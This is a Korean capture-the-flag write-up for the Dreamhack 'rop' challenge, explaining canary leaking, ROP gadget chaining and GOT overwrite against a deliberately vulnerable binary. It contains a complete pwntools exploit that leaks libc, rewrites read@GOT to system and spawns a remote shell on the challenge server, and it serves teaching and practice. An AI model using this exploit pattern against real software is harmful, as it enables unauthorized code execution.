# [Dreamhack] rop

[https://dreamhack.io/wargame/challenges/354/](https://dreamhack.io/wargame/challenges/354/)

관련 기법:

* Stack Canary
    
* Buffer Overflow
    
* GOT Overwrite
    

---

소스코드는 아래와 같다.

```c
// Name: rop.c
// Compile: gcc -o rop rop.c -fno-PIE -no-pie

#include <stdio.h>
#include <unistd.h>

int main() {
  char buf[0x30];

  setvbuf(stdin, 0, _IONBF, 0);
  setvbuf(stdout, 0, _IONBF, 0);

  // Leak canary
  puts("[1] Leak Canary");
  write(1, "Buf: ", 5);
  read(0, buf, 0x100);
  printf("Buf: %s\n", buf);

  // Do ROP
  puts("[2] Input ROP payload");
  write(1, "Buf: ", 5);
  read(0, buf, 0x100);

  return 0;
}
```

`checksec`으로 보호기법을 확인해보면

![](https://i.imgur.com/No0BEHU.png align="left")

`main`함수를 디스어셈블하면

![](https://i.imgur.com/nHQeQ3x.png align="left")

입출력 부분으로 `buf`의 위치를 추정할 수 있고 `fs`와 비교하는 부분을 통해 카나리의 위치를 알 수 있다. `buf`의 위치는 `[rbp-0x40]` `Canary`는 `[rbp-0x8]`에 있음을 알 수 있다.

```python
buf = b"A" * 0x39
p.sendafter(b"Buf: ", buf)
p.recvuntil(buf)
cnry = u64(b"\x00" + p.recvn(7))
slog("canary", cnry)
```

로 카나리 릭을 할 수 있다.

여기서는 소스코드에 `system("/bin/sh")`가 명시되어있지 않으므로 `system`의 주소와 `/bin/sh` 문자열을 가져와야 쉘을 획득할 수 있다.

`system` 함수는 [libc.so](http://libc.so).6에 정의되어 있는데 여기에는 코드에 있는 `read`, `puts` 같은 함수들도 정의되어 있다. 라이브러리 파일은 메모리에 매핑될 때 전체가 매핑되므로 `system`도 매핑이 되긴 하지만, 바이너리가 직접적으로 `system`을 호출하고 있지는 않아서 GOT에는 없다.

그래서 직접 호출되는 함수들의 GOT를 읽어와서 [libc.so](http://libc.so).6가 매핑된 주소를 구할 수 있다.

같은 libc 내의 두 데이터 간 오프셋 크기는 항상 같으므로

```sh
  ~/hacking/wargames ───────────────────────────  max-env at  22:06:45 ─╮
❯ readelf -s libc.so.6 | grep " puts@"                                     ─╯
  1429: 0000000000080ed0   409 FUNC    WEAK   DEFAULT   15 puts@@GLIBC_2.2.5
- 
  ~/hacking/wargames ───────────────────────────  max-env at  23:15:31 ─╮
❯ readelf -s libc.so.6 | grep " read@"                                     ─╯
   289: 0000000000114980   157 FUNC    GLOBAL DEFAULT   15 read@@GLIBC_2.2.5
   
  ~/hacking/wargames ───────────────────────────  max-env at  22:28:40 ─╮
❯ readelf -s libc.so.6 | grep " system@"                                   ─╯
  1481: 0000000000050d60    45 FUNC    WEAK   DEFAULT   15 system@@GLIBC_2.2.5
```

둘 간 거리를 확인할 수 있고 이것은 고정값이다.

`/bin/sh`도 [libc.so](http://libc.so).6에 포함된 것을 이용할 수 있다.

![](https://i.imgur.com/GZ7q68B.png align="left")

`system("/bin/sh")`를 이제 호출할 차례인데 이것은 GOT 오버라이트로 할 수 있다. 저걸 GOT에 들어가도록 변조하고 그걸 호출하도록 하면 된다.

![](https://i.imgur.com/Ls6YREU.png align="left")

가젯 주소는 위와 같이 구할 수 있다.

![](https://i.imgur.com/yO123LY.png align="left")

```python
read_plt = e.plt["read"]
read_got = e.got["read"]
write_plt = e.plt["write"]
pop_rdi = 0x400853
pop_rsi_r15 = 0x400851
ret = 0x400854
```

그러면 위의 정보를 바탕으로 페이로드를 작성해보면

```python
# 카나리 릭
payload = b"A" * 0x38 + p64(cnry) + b"B" * 0x8

# read()의 GOT 주소 유출
# write(1, read_got, ...)
payload += p64(pop_rdi) + p64(1)
payload += p64(pop_rsi_r15) + p64(read_got) + p64(0)
payload += p64(write_plt)

# read()를 호출하여 read@got을 덮어쓰기
# read(0, read_got, ...)
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi_r15) + p64(read_got) + p64(0)
payload += p64(read_plt)

# read_got + 0x8에 /bin/sh 문자열 쓰기
# read("/bin/sh") == system("/bin/sh")
payload += p64(pop_rdi)
payload += p64(read_got + 0x8) # /bin/sh 문자열 위치
payload += p64(ret)
payload += p64(read_plt)
```

전체 코드를 작성해보면 아래와 같다.

```python
from pwn import *

def slog(name, addr):
    return success(": ".join([name, hex(addr)]))

p = remote("host1.dreamhack.games", 24103)
e = ELF("./rop")
libc = ELF("./libc.so.6")

# 카나리 릭
buf = b"A" * 0x39
p.sendafter(b"Buf: ", buf)
p.recvuntil(buf)
cnry = u64(b"\x00" + p.recvn(7))
slog("canary", cnry)

# [2] Exploit
read_plt = e.plt["read"]
read_got = e.got["read"]
write_plt = e.plt["write"]
pop_rdi = 0x400853
pop_rsi_r15 = 0x400851
ret = 0x400854

payload = b"A" * 0x38 + p64(cnry) + b"B" * 0x8

# write(1, read_got, ...)
payload += p64(pop_rdi) + p64(1)
payload += p64(pop_rsi_r15) + p64(read_got) + p64(0)
payload += p64(write_plt)

# read(0, read_got, ...)
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi_r15) + p64(read_got) + p64(0)
payload += p64(read_plt)

# read("/bin/sh") == system("/bin/sh")
payload += p64(pop_rdi)
payload += p64(read_got + 0x8)
payload += p64(ret)
payload += p64(read_plt)

p.sendafter(b"Buf: ", payload)
read = u64(p.recvn(6) + b"\x00" * 2)
lb = read - libc.symbols["read"]
system = lb + libc.symbols["system"]
slog("read", read)
slog("libc_base", lb)
slog("system", system)

p.send(p64(system) + b"/bin/sh\x00")

p.interactive()
```
